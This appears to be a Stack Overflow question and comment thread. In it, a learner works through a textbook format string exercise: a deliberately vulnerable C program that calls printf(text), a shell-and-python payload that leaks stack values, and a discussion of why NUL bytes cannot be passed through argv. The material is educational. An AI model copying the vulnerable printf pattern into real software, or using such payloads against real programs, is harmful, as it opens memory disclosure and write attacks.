2

I've recently programmed a little C program that is vulnerable to a format string exploit. Here is the source code(it is copied from a book):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;
    strcpy(text, argv[1]);
    printf("The right way to print user-controlled input:\n");
    printf("%s", text);
    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);
    printf("\n");

    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
}

I want to change the value of the test_val variable which has the following address:0x0040202c. So when i pass the arguments through the bash terminal like this:

./vuln "`python -c "print 'AAAA' + '\x2c\x20\x40\x00' + '%x ' * 5"`"

I get the following output

bash: warning: command substitution: ignored null byte in input
The right way to print user-controlled input:
AAAA, @%x %x %x %x %x 
The wrong way to print user-controlled input:
AAAA, @bfffeed0 bfffef1c 4005f7 41414141 2540202c 
[*] test_val @ 0x0040202c = -72 0xffffffb8

As a result I end up with the wrong address in memory (0x2540202c instead of 0x0040202c).

Now my question is: How can I produce the leading 0's and give them as an argument to my program?

J0rdan
  • 56
  • 4
  • It's very much by design and intent that you can't. That said, this wouldn't have worked for any old version of bash either -- in old versions, strings just got cut off at the first NUL, rather than having the NULs removed. – Charles Duffy May 02 '18 at 20:08
  • 1
    Keep in mind that the argument vector is a list of C strings. C strings are NUL-delimited, so by definition they can't have NUL literals inside them -- any such literal would just be the end of the string. – Charles Duffy May 02 '18 at 20:10
  • (Building shellcode without using NUL literals is a thing -- I'm sure you can find resources on the topic if you look). – Charles Duffy May 02 '18 at 20:16
  • In the book I'm reading the test_val lies at 0x08049794, so the author has no problem with the null byte. – J0rdan May 02 '18 at 20:19
  • Right -- the author isn't even *trying* to pass a NUL byte there. But for your actual memory address, which contains a NUL byte in it, you need to use techniques they aren't teaching or demonstrating (and which are outside the scope of a reasonable question about bash). – Charles Duffy May 02 '18 at 20:20
  • BTW, there's no reason to use Python here. `$'\x2c'` is the Bash literal for the byte with hex value 0x2c. – Charles Duffy May 02 '18 at 20:21
  • I'm not trying to built a shellcode. I'm just trying to push the address of test_val on the stack Charles Duffy – J0rdan May 02 '18 at 20:22
  • Yes, but if that address contains a NUL byte -- `0x00` -- you **can't**. Not on an argv from bash, anyhow. – Charles Duffy May 02 '18 at 20:22
  • ...now, you actually *can* get a NUL byte in memory by splitting your argument list into two separate strings passed as different arguments (the first one being the pre-NUL piece, the second being the post-NUL piece), but that still doesn't help you, because the second string isn't `argv[1]`. – Charles Duffy May 02 '18 at 20:23
  • I used python just to make my problem clear @CharlesDuffy – J0rdan May 02 '18 at 20:23
  • 1
    Doesn't matter. The point I'm making holds -- the code given in your book *does not work* when the address contains a 0 byte, and never did with any version of bash that ever existed, even versions that didn't have the "warning: ignored null byte" error message. – Charles Duffy May 02 '18 at 20:26
  • I know and this is driving me mad – J0rdan May 02 '18 at 20:27
  • ...so, I'd argue that what you have here is purely a C question -- ie. that if you want to get content onto the stack, you're better off not trying to use bash to do it (at least, not via the argv). I suppose you could do a length-based copy of a buffer from stdin -- that'll work well enough. – Charles Duffy May 02 '18 at 20:30
  • And how should I pass this as arguments for my vulnerable program? – J0rdan May 02 '18 at 20:36
  • I already gave you two options: Use stdin, or pass as two separate arguments (relying on the NUL delimiter between them), and change `strcpy` to something that won't stop at the NUL. (The problem isn't just a bash one -- `strcpy` will stop at the NUL itself). Either way, you'll need to change your C code, since it's **innately incapable** of working with an address with a NUL. – Charles Duffy May 02 '18 at 20:38
  • Passing length out-of-band from content (and then trusting it without validation) is a very traditional way to get this kind of vulnerability, btw; if your `argv[1]` were used as length of `argv[2]`, but then you overran it into `argv[3]`, there you are. – Charles Duffy May 02 '18 at 20:39

0 Answers0